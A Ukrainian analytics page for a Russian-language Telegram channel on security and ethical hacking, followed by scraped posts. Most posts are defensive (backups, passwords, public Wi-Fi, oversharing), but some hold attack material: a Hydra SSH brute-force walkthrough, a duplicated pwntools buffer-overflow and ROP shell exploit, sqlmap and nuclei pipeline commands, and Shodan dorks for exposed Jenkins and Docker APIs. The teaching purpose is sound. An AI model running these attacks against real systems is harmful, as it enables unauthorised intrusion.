CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Показати більше📈 Аналітичний огляд Telegram-каналу CodeGuard: CyberSec Edition
Канал CodeGuard: CyberSec Edition є активним учасником. На даний момент спільнота об'єднує 12 526 підписників, посідаючи 10 134 місце в категорії Технології та додатки та 52 701 місце у регіоні Росія.
📊 Показники аудиторії та динаміка
З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 12 526 підписників.
За останніми даними від 20 червня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 517, а за останні 24 години на 50, загальне охоплення залишається високим.
- Статус верифікації: Не верифікований
- Рівень залученості (ER): Середній показник залученості аудиторії становить 12.15%. Протягом перших 24 годин після публікації контент зазвичай збирає 6.95% реакцій від загальної кількості підписників.
- Охоплення публікацій: В середньому кожен допис отримує 1 522 переглядів. Протягом першої доби публікація в середньому набирає 871 переглядів.
- Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 4.
- Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як codeguard, pysec, docker, grep, контейнер.
📝 Опис та контентна політика
Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Завдяки високій частоті оновлень (останні дані отримано 21 червня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.
🔵The Tangled Web: A Guide to Securing Modern Web Applications 🔴Silence on the Wire 🔵Metasploit: The Penetration Tester’s Guide 🔴The Car Hacker’s Handbook: A Guide for the Penetration Tester 🔵Practical Forensic Imaging: Securing Digital Evidence with Linux Tools 🔴Android Security Internals: An In‑Depth Guide to Android’s Security Architecture 🔵Gray Hat C#: A Hacker’s Guide to Creating and Automating Security Tools 🔴Practical Malware Analysis: The Hands‑On Guide to Dissecting Malicious Software 🔵iOS Application Security: The Definitive Guide for Hackers and Developers 🔴Black Hat Python: Python Programming for Hackers and Pentesters 🔵Pentesting Azure Applications: The Definitive Guide to Testing and Securing Deployments 🔴Hacking: The Art of Exploitation (2nd Edition) 🔵Serious Cryptography: A Practical Introduction to Modern Encryption 🔴Penetration Testing: A Hands‑On Introduction to Hacking 🔵Attacking Network Protocols: A Hacker’s Guide to Capture, Analysis, and Exploitation➡️ Качаем тут 😈 CodeGuard: PySec Edition | Чат
🔵SSH (порт 22): Частая цель для сканеров в интернете. Подбор пароля к root или пользователю. 🔵FTP (порт 21): Много легаси-систем с простыми паролями для анонимного доступа или 'admin'. 🔵Веб-формы входа: POST/GET-запросы к страницам вроде /login.php. Нужно правильно указать параметры. Telnet, RDP, MySQL, PostgreSQL и другие.Базовый сценарий: Атака на SSH-сервер в локальной сети Допустим, вы нашли в сети устройство с открытым 22-м портом и хотите проверить его на слабые учётные данные. 1️⃣ Подготовка словарей Нужны два файла: список логинов (users.txt) и список паролей (pass.txt). Для начала можно использовать стандартные.
# Создаем простой файл с логинами
echo -e "admin\nroot\nuser\ntest" > users.txt
# Берем известный словарь (например, rockyou)
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
head -1000 rockyou.txt > pass.txt # Берём первую тысячу для скорости
2️⃣ Запуск атаки по словарю
Команда для атаки на SSH по протоколу ssh. Указываем цель, логины, пароли и порт.
# Базовая команда для перебора
hydra -L users.txt -P pass.txt ssh://192.168.1.100 -t 4 -V
Ключи: -L (файл логинов), -P (файл паролей), -t (количество потоков), -V (подробный вывод). Hydra начнет перебор и покажет найденные пары.
3️⃣ Работа с результатами
Если пароль найден, Hydra выведет что-то вроде:
[22][ssh] host: 192.168.1.100 login: root password: password123Вывод: На сервере используется хреновый пароль по умолчанию. Устройство скомпрометировано. Как это работает изнутри:
🔵Атака по словарю (Dictionary): Быстрая проверка пароля против заранее подготовленного списка (например, rockyou). 🔵Перебор (Brute-force): Методичный перебор всех возможных комбинаций символов. Задаётся маской, например, -x 'l:6:6:a' для 6 строчных букв. 🔵Комбинированная атака: Можно задать одно значение для логина и перебирать пароли, или наоборот.Профилактика: Как защитить свои сервисы?
🔴Отключайте парольную аутентификацию для SSH. Используйте только ключи. 🔴Настройте fail2ban или аналоги. После N неудачных попыток IP блокируется. 🔴Используйте сложные, длинные пароли. Менеджер паролей - must have. 🔴Не открывайте такие сервисы (FTP, Telnet) в публичный интернет. Держите за VPN или в изолированной сети.😈 CodeGuard: PySec Edition | Чат
"Чистый код" - Роберт Мартин "Совершенный код" - Стив Макконнелл "Программист-прагматик" - Дэвид Томас, Эндрю ХантПервая убивает индусский код в зародыше. Вторая - библия по архитектуре. Третья учит не быть тупым инструментом. 2️⃣ Алгоритмы: Чтобы не изобретать велосипед на собесе
"Алгоритмы: построение и анализ" - Кормен, Лейзерсон "Грокаем алгоритмы" - Адитья БхаргаваКормена надо прорешать. Бхаргава - для визуалов и начала. Без этого ты даже не поймешь, почему твой скрипт тормозит на 10 строках. 3️⃣ Компьютерные системы: Что происходит под капотом
"Компьютерные системы: архитектура и программирование" - Брайант, О'Халларон (CS:APP)Эта хрень свяжет в голове код, память, процессор и сеть. После нее пазл сложится. 4️⃣ Блоги и письма, которые учат мыслить
Paul Graham (paulgraham.com) - про стартапы и мышление Joel on Software (joelonsoftware.com) - фундаментальные статьи о разработке "Филфак" (habr.com/ru/hubs/philosophy/articles) - не ожидал? А зря. Учит формулировать мысли.Читай не туториалы, а рассуждения. Учись аргументировать, а не повторять. 5️⃣ Человеческий фактор: Как не стать социопатом в опенспейсе
"Мифический человеко-месяц" - Фредерик Брукс "Не заставляйте меня думать" - Стив Круг (про UX)Первая - манифест о том, что добавление людей в просроченный проект лишь задержит его. Вечная классика управления. Вторая - must read даже для бэкендера, чтобы понимать, для кого он вообще пишет. 6️⃣ Паттерны и архитектура: Чтобы масштабировать без боли
"Паттерны проектирования" - Банда четырех (Gang of Four) "Чистая архитектура" - Р. МартинПаттерны - это не для галочки, а язык для общения архитекторов. Чистая архитектория - чтобы твой монолит не превратился в спагетти-монстр. ✅ Как читать?
1. Не глотай подряд. Бери одну книгу в квартал. 2. Конспектируй. Пиши свои примеры. 3. Обсуждай. Иди в книжный клуб или пиши рецензии.🔥Итого: Ты - то, что ты читаешь. Читай основу, а не только мануалы к очередному фреймворку-однодневке. 😈 CodeGuard: PySec Edition | Чат
sudo apt install borgbackup
# Создаем репозиторий (локально или на удаленном сервере)
borg init --encryption=repokey /путь/к/репозиторию
# или на удаленке
borg init --encryption=repokey ssh://user@backup.server:/путь/к/репозиторию
3️⃣Первый полный бэкап
export BORG_PASSPHRASE='твой_крепкий_ключ'
borg create --stats --progress /путь/к/репозиторию::сервер-{now} /home /etc /var/www
Где сервер-{now} — имя снапшота. Borg делает дедупликацию, сжимает и шифрует нахуй.
4️⃣Автоматизируем это дерьмо (cron)
# crontab -e
0 2 * * * /usr/bin/borg create --stats /путь/к/репозиторию::сервер-{now:%Y-%m-%d_%H:%M} /home /etc 2>&1
Каждую ночь в 2 часа. Не забывай про BORG_PASSPHRASE в переменных окружения или скрипте.
5️⃣Проверка и листинг, если не проверил, бэкапа нет
borg list /путь/к/репозиторию # Проверяем целостность, чтобы не обосраться borg check /путь/к/репозиторию6️⃣Восстановление (когда всё пошло по пизде)
borg extract /путь/к/репозиторию::сервер-2025-03-29_14:30Выбираешь нужный снапшот и тащишь данные обратно. Не жди момента "ой, блять". 🔄Копия на холодное хранение (Rsync + внешний диск)
rsync -avz --delete /home/user/ /media/user/external_drive/backup/
Раз в неделю суй хуй (диск) в USB и синхронизируй. Дешево и сердито.
🚨 Тестирование — единственный способ не обосраться
Раз в месяц делай учебную тревогу: восстанавливай какой-нибудь каталог на тестовую машину. Если не работает — твой план говно.
💥 Результат: Когда у соседа по дата-центру всё горит, ты спокойно восстанавливаешься и идешь пить кофе.
😈 CodeGuard: PySec Edition | Чат# Пример для WireGuard на телефоне/ноуте # Скачал конфиг с сайта провайдера, закинул в приложение, включил - всё.2️⃣Выруби эту хуйню: общий доступ и авто-коннект
Windows: Панель управления -> Сеть -> Изменение параметров адаптера -> Свойства беспроводной сети -> Выключить "Общий доступ к файлам и принтерам". macOS: Системные настройки -> Общий доступ -> Убери все галочки. Телефон: Настройки -> Wi-Fi -> Отключи "Автоподключение" к открытым сетям.3️⃣HTTPS Everywhere - базовая гигиена Убедись, что в браузере стоит HTTPS-Only режим. Видишь в адресной строке открытый замок или "Не защищено"? Закрой эту пиздоглазую вкладку и больше не заходи. 4️⃣Двухфакторная аутентификация (2FA) ВЕЗДЕ Даже если спалят пароль в открытой сети, без кода из приложения или ключа - нихуя не сделают. Используй TOTP (Google Authenticator, Aegis) или аппаратные ключи (YubiKey). 5️⃣Не делай ничего важного. Серьёзно. Не логинься в банк, не вводи данные карты, не работай с почтой, где есть доступ к чему-то важному. Отложи это, пока не будешь на своём LTE или домашнем интернете. Общественный Wi-Fi - только для просмотра херни. 6️⃣Фаервол и антивирус - включи, блять Даже на телефоне. Заблокируй все входящие подключения в настройках фаервола. Это отсечёт попытки доступа к тебе из локальной сети кафешного роутера. ✅Итоговый чек-лист перед подключением:
1. VPN включен и работает (проверил на ipleak.net). 2. Файрвол включен. 3. Отключен общий доступ. 4. В браузере горит HTTPS-Only. 5. Не открываешь банк и почту. 6. Сидишь и смотришь ютуб/читаешь новости. Всё.💥Результат: твой трафик - непрочитанная шифровка для любого соседа по сети. Спи спокойно. 😈 CodeGuard: PySec Edition | Чат
🔴Фото документов и билетов. Даже в сторис. Штрих-код на авиабилете? По нему можно получить доступ к брони. Серия и номер паспорта? Это уже половина дела для мошенника. Вы что, долбоёбы? 🔴Данные о месте жительства в реальном времени. "Вот я у себя дома один, вот вид из моего окна". Поздравляю, вы только что дали наводку ворам или сталкеру. Геометки с дома, школы детей, регулярных маршрутов — это самоубийство. 🔴Информацию, которая отвечает на контрольные вопросы. Девичья фамилия матери? Кличка первого питомца? Любимый фильм? Это же стандартные вопросы для восстановления пароля! Выкладывая это, вы сами вручаете ключи от своих аккаунтов. 🔴Фото рабочих пропусков, визиток с корпоративной почтой. Это готовый сценарий для целевой фишинг-атаки на вашу компанию. "Привет, я Иван из отдела, вот моя почта, срочно переведи деньги". И понеслась. 🔴Чеки и штрих-коды с покупок. С них иногда можно слить данные карты, номер заказа, ваши персональные данные. Просто зачем, а?Реальный сценарий: как из вашей "милой" публикации делают развод Выложил фото в инсту: "Ура, завтра лечу в отпуск!" + геометка дома + вид на аэропорт. 1. Злоумышленник видит это. Он знает, где вы живете и что вас не будет дома. 2. Он находит ваш профиль в другом сервисе, где вы писали кличку собаки (контрольный вопрос). 3. Через "Восстановление пароля" он получает доступ, например, к вашей почте. 4. В почте ищет письма от банка или подтверждения заказов. 5. Профит: либо заказ такси/еды на ваш адрес с карты, привязанной к аккаунту, либо реальный визит в вашу пустующую квартиру. Как это работает изнутри: сбор информации (OSINT)
🔵Пассивный сбор. Мошеннику не нужно взламывать ничего. Вы сами выкладываете всё в открытый доступ. Соцсети, форумы, маркетплейсы — всё это складывается в единый пазл. 🔵Социальная инженерия. Используя ваши увлечения, имена родных, клички питомцев, злоумышленник может вам позвонить или написать, представившись знакомым, и выманить деньги или данные. 🔵Кросс-платформенный анализ. Один и тот же никнейм, аватарка или фото в ВК, Телеге, Гитхабе и на форуме геймеров позволяют собрать о вас полное досье.Профилактика: Как не быть идиотом?
🔴Забудьте про геометки. Отключите их везде. Отмечайте места только постфактум и без привязки к дому. 🔴Настройте приватность. Закройте профили, особенно с личными фото и данными, от посторонних. Друзья друзей — это тоже посторонние. 🔴Не отвечайте на дурацкие опросы. "Твое имя наоборот", "Имя первого учителя", "Девичья фамилия матери" — это не интерактив, это сбор данных. Вы же не оставляете пин-код от карты в комментариях? 🔴Проверяйте фон на фото. Перед публикацией фото дома или офиса убедитесь, что на столе, мониторе или доске нет ничего важного: паролей, документов, номеров телефонов. 🔴Используйте менеджеры паролей и 2FA. Даже если кто-то узнает ответ на ваш секретный вопрос, без второго фактора (код из приложения) он не зайдёт. KeePass, Bitwarden, Aegis — ваши новые лучшие друзья.😈 CodeGuard: PySec Edition | Чат
🔵Повторение паролей: Взломали один сервис — получили ключи ко всем твоим аккаунтам. Тупость чистой воды. 🔵Простые комбинации: Даты рождения, имена, последовательности клавиш. Боты перебирают эту хуйню за миллисекунды. 🔵Короткие пароли: Меньше 12 символов — это уже не пароль, а приглашение.Правильный подход: генерация неуязвимых паролей Нужны не запоминаемые, а уникальные и случайные последовательности. 1️⃣ Используй менеджер паролей Это не опция, а необходимость. KeePassXC, Bitwarden, 1Password, выбирай любой. Они создают криптостойкие пароли.
# Пример генерации в Bitwarden через CLI (условно)
bw generate --length 20 --uppercase --lowercase --number --special
Получишь что-то вроде: g7#Q!pL2@z9$vR5*mX8&
2️⃣ Метод "diceware" для мастер-пароля
Мастер-пароль к менеджеру должен быть единственным, который ты запоминаешь. Используй метод diceware: 5-7 случайных слов через дефис.
Пример: правильный-геймер-бензопила-радуга-42Длинно, бессмысленно для других, легко запомнить. 3️⃣ Никогда не храни в браузере Встроенные менеджеры браузеров — это дырявое дерьмо. Они синхронизируют пароли в облако, которое могут выкачать. Как это работает изнутри:
🔵Менеджер хранит пароли в зашифрованной базе. Ключ шифрования твой мастер-пароль. Без него это просто куча мусора. 🔵Автозаполнение работает только после разблокировки базы. Нет мастер-пароля = нет доступа, даже если файл базы украли. 🔵Синхронизация через облако (у Bitwarden, 1Password) зашифрованные данные летят по сети. Провайдер не видит твоих паролей.Профилактика: жёсткие правила
🔴Длина минимум 16 символов для важных аккаунтов (почта, банк). Случайный набор: буквы (заглавные и строчные), цифры, спецсимволы. 🔴Уникальный пароль для КАЖДОГО сервиса. Менеджер делает это тривиальным. 🔴 Включи двухфакторную аутентификацию (2FA) везде, где есть. Идеально - аппаратный ключ (YubiKey) или TOTP (Google Authenticator, Aegis). 🔴Регулярно проверяй, не слили ли твои данные в утечках (haveibeenpwned.com). Меняй пароли при малейшем подозрении.😈 CodeGuard: PySec Edition | Чат
# 1. Определение Scope (что можно атаковать)
# 2. Пассивная разведка (SpiderFoot, ShodanX, theHarvester)
# 3. Активное сканирование (Nmap, Nuclei, Nessus)
# 4. Эксплуатация (Metasploit, custom exploits)
# 5. Документирование (Dradis, Serpico, отчёты)
Минимальный стек инструментов:
▶️ Разведка: SpiderFoot, ShodanX, Amass
▶️ Сканирование: Nmap, Masscan, Nuclei
▶️ Эксплуатация: Metasploit, SQLmap, Burp Suite Pro
▶️ Пост-эксплуатация: Mimikatz, BloodHound, Cobalt Strike
▶️ Отчётность: Dradis, PlexTrac, LaTeX-шаблоны
🛡 Современные векторы атак 2026:
# Cloud-native атаки (AWS/Azure/GCP)
- Уязвимости контейнеров (Kubernetes, Docker)
- Неправильные конфигурации S3 buckets, IAM roles
- Serverless function injection
# IoT/OT пентестинг
- Прошивки устройств, кастомные протоколы
- Промышленные контроллеры (SCADA, PLC)
# Мобильные приложения
- Статический/динамический анализ (MobSF, Frida)
- Reverse engineering iOS/Android apps
# Атаки через AI
- Jailbreak LLM-систем
- Prompt injection в AI-ассистентов
- Data poisoning атак
📊 Методологии и стандарты:
- PTES (Penetration Testing Execution Standard) — полный цикл
- OWASP Testing Guide — для веб-приложений
- NIST SP 800-115 — техническое руководство по тестированию
- PCI DSS — для платежных систем
- CREST — для сертифицированных провайдеров
🔧 Интеграция в DevSecOps:
# Пример пайплайна в GitLab CI
stages:
- recon
- scanning
- exploitation
- reporting
pentest:
stage: exploitation
script:
- nuclei -u $TARGET -t cves/ -o nuclei_report.json
- sqlmap -u "$TARGET/api" --batch --level=3
only:
- schedules # Запуск по расписанию
artifacts:
paths:
- ./*_report.json
📌 Когда заказывать пентест:
🟢 После крупных изменений в инфраструктуре
🟢 Перед запуском нового продукта/сервиса
🟢 По требованию compliance (PCI DSS, ISO 27001)
🟢 После инцидентов безопасности
🟢 Регулярно (ежегодно/полугодично)
📚 Ресурсы для обучения:
🟢 Certifications: OSCP, GPEN, PNPT, CRTP
🟢 Лаборатории: HackTheBox, TryHackMe, PentesterLab
🟢 Книги: "The Hacker Playbook 3", "Advanced Penetration Testing"
🟢 Сообщества: Reddit /r/netsec, Discord-сервера, конференции (BlackHat, DEF CON)
😈 CodeGuard: PySec Edition | Чат▶️ CTF-мод — автоматизируем всё, что движется: от брута флагов до ROP-цепочек Шеллкод на коленке — генерируем, пакуем и тестим без лишних телодвижений ▶️ Работа с бинарником — ищем гаджеты, дырявим GOT/PLT, дизлайбим либы ▶️ Сетевое общение — TCP/UDP, шелл, SSH — общаемся с жертвой как с другом ▶️ Дебёг как бог — GDB-интеграция, брейкпоинты, трассировка без слёз💻 Ставим эту магию (Python 3.6+ или иди нахуй):
pip install pwntools # если не сломалось — ты счастливчик
🚀 Быстрый старт (для тех, кто не любит читать мануалы):
Простой пример — подключиться к серверу и получить флаг:
from pwn import *
# Подключаемся к таске
conn = remote('ctf.example.com', 1337)
# Ждём приветствия
conn.recvuntil(b'Enter password:')
# Шлём наш гениальный эксплоит
conn.sendline(b'A' * 64 + p64(0x401152)) # переполнение буфера + адрес победы
# Получаем флаг и улыбаемся
print(conn.recvall().decode())
🛠 Продвинутые фишки (когда нужно выебать ядро):
ROP-цепочка для обхода DEP:
from pwn import *
context.binary = './vuln'
# Автоматически ищем гаджеты
rop = ROP(context.binary)
rop.execve(next(context.binary.search(b'/bin/sh')), 0, 0)
# Собираем полезную нагрузку
payload = flat(
b'A' * 64,
rop.chain()
)
# Отправляем и получаем шелл
io = process('./vuln')
io.sendline(payload)
io.interactive() # welcome to root!
Интеграция с GDB (для параноиков):
io = gdb.debug('./vuln', gdbscript='''
break *main+0x42
continue
''')
# Смотрим дамп памяти после краша
io.wait()
core = io.corefile
print(hex(core.rsp)) # где упал — там и ищи сокровища
📌 Когда использовать эту хрень:
🔴 CTF — если надоело вручную собирать эксплоиты 🔴 Баг-баунти — тестируем веб-сервисы на устойчивость к пиздецу 🔴 Образование — учимся эксплоитингу без скучных мануалов 🔴 Исследования — разбираемся, как ломаются бинарники вживую⚠️Предупреждение (шоб мусора не навести):
🔵Используй только на своих тасках или с разрешения владельца 🔵Не забывай про context.log_level = 'debug' — иногда полезно увидеть, что там внутри творится 🔵Если эксплоит не работает — это не баг, это фича. Перечитай доки.💡 Совет: Начни с локальных бинарников из CTF-тасок — так безопаснее и проще понять, как эта бандура работает. А потом уже можно и на реальные цели переходить (если разрешили, конечно). 😈 CodeGuard: PySec Edition | Чат
▶️ CTF-мод — автоматизируем всё, что движется: от брута флагов до ROP-цепочек Шеллкод на коленке — генерируем, пакуем и тестим без лишних телодвижений ▶️ Работа с бинарником — ищем гаджеты, дырявим GOT/PLT, дизлайбим либы ▶️ Сетевое общение — TCP/UDP, шелл, SSH — общаемся с жертвой как с другом ▶️ Дебёг как бог — GDB-интеграция, брейкпоинты, трассировка без слёз💻 Ставим эту магию (Python 3.6+ или иди нахуй):
pip install pwntools # если не сломалось — ты счастливчик
🚀 Быстрый старт (для тех, кто не любит читать мануалы):
Простой пример — подключиться к серверу и получить флаг:
from pwn import *
# Подключаемся к таске
conn = remote('ctf.example.com', 1337)
# Ждём приветствия
conn.recvuntil(b'Enter password:')
# Шлём наш гениальный эксплоит
conn.sendline(b'A' * 64 + p64(0x401152)) # переполнение буфера + адрес победы
# Получаем флаг и улыбаемся
print(conn.recvall().decode())
🛠 Продвинутые фишки (когда нужно выебать ядро):
ROP-цепочка для обхода DEP:
from pwn import *
context.binary = './vuln'
# Автоматически ищем гаджеты
rop = ROP(context.binary)
rop.execve(next(context.binary.search(b'/bin/sh')), 0, 0)
# Собираем полезную нагрузку
payload = flat(
b'A' * 64,
rop.chain()
)
# Отправляем и получаем шелл
io = process('./vuln')
io.sendline(payload)
io.interactive() # welcome to root!
Интеграция с GDB (для параноиков):
io = gdb.debug('./vuln', gdbscript='''
break *main+0x42
continue
''')
# Смотрим дамп памяти после краша
io.wait()
core = io.corefile
print(hex(core.rsp)) # где упал — там и ищи сокровища
📌 Когда использовать эту хрень:
🔴 CTF — если надоело вручную собирать эксплоиты 🔴 Баг-баунти — тестируем веб-сервисы на устойчивость к пиздецу 🔴 Образование — учимся эксплоитингу без скучных мануалов 🔴 Исследования — разбираемся, как ломаются бинарники вживую⚠️Предупреждение (шоб мусора не навести):
🔵Используй только на своих тасках или с разрешения владельца 🔵Не забывай про context.log_level = 'debug' — иногда полезно увидеть, что там внутри творится 🔵Если эксплоит не работает — это не баг, это фича. Перечитай доки.💡 Совет: Начни с локальных бинарников из CTF-тасок — так безопаснее и проще понять, как эта бандура работает. А потом уже можно и на реальные цели переходить (если разрешили, конечно). 😈 CodeGuard: PySec Edition | Чат
▶️ Модульная разведка — 15+ специализированных команд для доменов, поддоменов, SSL, организаций ▶️ Работа с базами Shodan — доступ к CVE Database, EntityDB, ExposureDB, FaviconMap ▶️ Визуализация данных — географическое отображение (map) exposed-сервисов по миру ▶️ Расширенные запросы — поддержка кастомных dorks и фильтров Shodan ▶️ Пассивное обнаружение — поиск поддоменов через DNS-данные Shodan без прямого взаимодействия с целью ▶️ Интеграция с InternetDB — быстрый анализ IP и доменов через lightweight API Shodan✨ Быстрый старт с ShodanX: Установка (требуется Python 3.13+):
pip install git+https://github.com/RevoltSecurities/ShodanX --break-system-packages
Первоначальная настройка:
# 1. Сохраняем API-ключ Shodan
shodanx auth
# 2. Логин через session cookie (для премиум-функций)
shodanx login
# Куки копируем из DevTools: .shodan.io → session
# 3. Проверяем доступ
shodanx login
Базовые команды разведки:
# Разведка по домену (порты, хосты, метаданные)
shodanx domain example.com
# Пассивный поиск поддоменов
shodanx subdomain example.com
# Поиск по SSL-отпечатку (tracking reused certs)
shodanx ssl <sha1_fingerprint>
# Организационный поиск (использование facets)
shodanx org "Company Name"
# Поиск уязвимых систем через CVE
shodanx cvedb CVE-2024-12345
🔍 Продвинутые сценарии:
Географическая визуализация exposed-сервисов:
# Требуется премиум-подписка Shodan
shodanx map "port:22 country:RU"
Кастомные dorks для bug bounty:
# Поиск Jenkins без аутентификации
shodanx custom 'http.component:jenkins "200 OK"'
# Поиск открытых Docker API
shodanx custom 'product:docker port:2375'
Трекинг инфраструктуры через favicon:
# Поиск систем по уникальному фавикону
shodanx faviconmap <favicon_hash>
📌 Когда использовать ShodanX:
🔴 Расширение атакуемой поверхности — автоматический поиск забытых сервисов и поддоменов
🔴 Подготовка к внешнему пентесту — разведка открытых портов и технологий цели
🔴 Threat Intelligence — мониторинг эксплойтов в дикой природе через CVE-привязку
🔴 Исследование IoT/инфраструктуры — картографирование сетей по организациям и странам
🔴 Расследование инцидентов — поиск следов компрометации в открытых источниках
🛠 Интеграция в пайплайн:
# Пример скрипта для автоматической разведки
#!/bin/bash
DOMAIN=$1
echo "[*] Starting ShodanX reconnaissance for $DOMAIN"
shodanx domain $DOMAIN > domain_scan.json
shodanx subdomain $DOMAIN > subdomains.txt
shodanx ssl $(get_ssl_fingerprint $DOMAIN) > ssl_assets.json
# Дальнейшая обработка через jq, grep и т.д.
⚠️ Требования и ограничения:
🔴 API-ключ Shodan обязателен (бесплатный аккаунт — 100 запросов/месяц)
🔴 Session cookie нужен для функций map и trends (премиум-подписка)
🔴 Shodan Enterprise требуется для модуля trends (анализ исторических данных)
🔴 Python 3.13+ — более старые версии не поддерживаются
📌 Ссылка на репозиторий
💡 Совет: Начните с бесплатного API-ключа Shodan, чтобы оценить возможности. Для серьезной работы потребуется платная подписка ($59/месяц), но даже бесплатный лимит позволяет проводить точечную разведку.
😈 CodeGuard: PySec Edition | Чат🔵Разведка и картография 🔵Социальная инженерия 🔵Скрытность и импланты 🔵Защита от атрибуцииНравятся книга? ❤️ — Да 🔥 — Нет 👩💻 Кликай и качай 😈 CodeGuard: PySec Edition | Чат
🟢 Декомпиляция в читаемый псевдокод 🟢Анализ ELF / PE / Mach‑O 🟢 Автоматизация и скрипты 🟢Кроссплатформенность 🟢 Open Source от NSA🧠 Зачем она нужна
➡️ Реверс-инжиниринг и аудит безопасности ➡️Анализ вредоносного ПО ➡️ Изучение low‑level логики ➡️ Обучение и практика ➡️ Бесплатная альтернатива IDA Pro🧪 Использование из терминала Запуск Ghidra:
./ghidraRun
Анализ бинарника в headless‑режиме (без GUI):
./analyzeHeadless ~/ghidra_projects test_project \
-import ./binary \
-analysisTimeoutPerFile 60
Запуск анализа с авто‑декомпиляцией:
./analyzeHeadless ~/ghidra_projects test_project \
-import ./binary \
-postScript DecompileAllFunctions.java
Удаление проекта:
rm -rf ~/ghidra_projects/test_project
🔗 Исходники
😈 CodeGuard: PySec Edition | Чат
Вже доступно! Дослідження Telegram за 2025 — головні інсайти року 
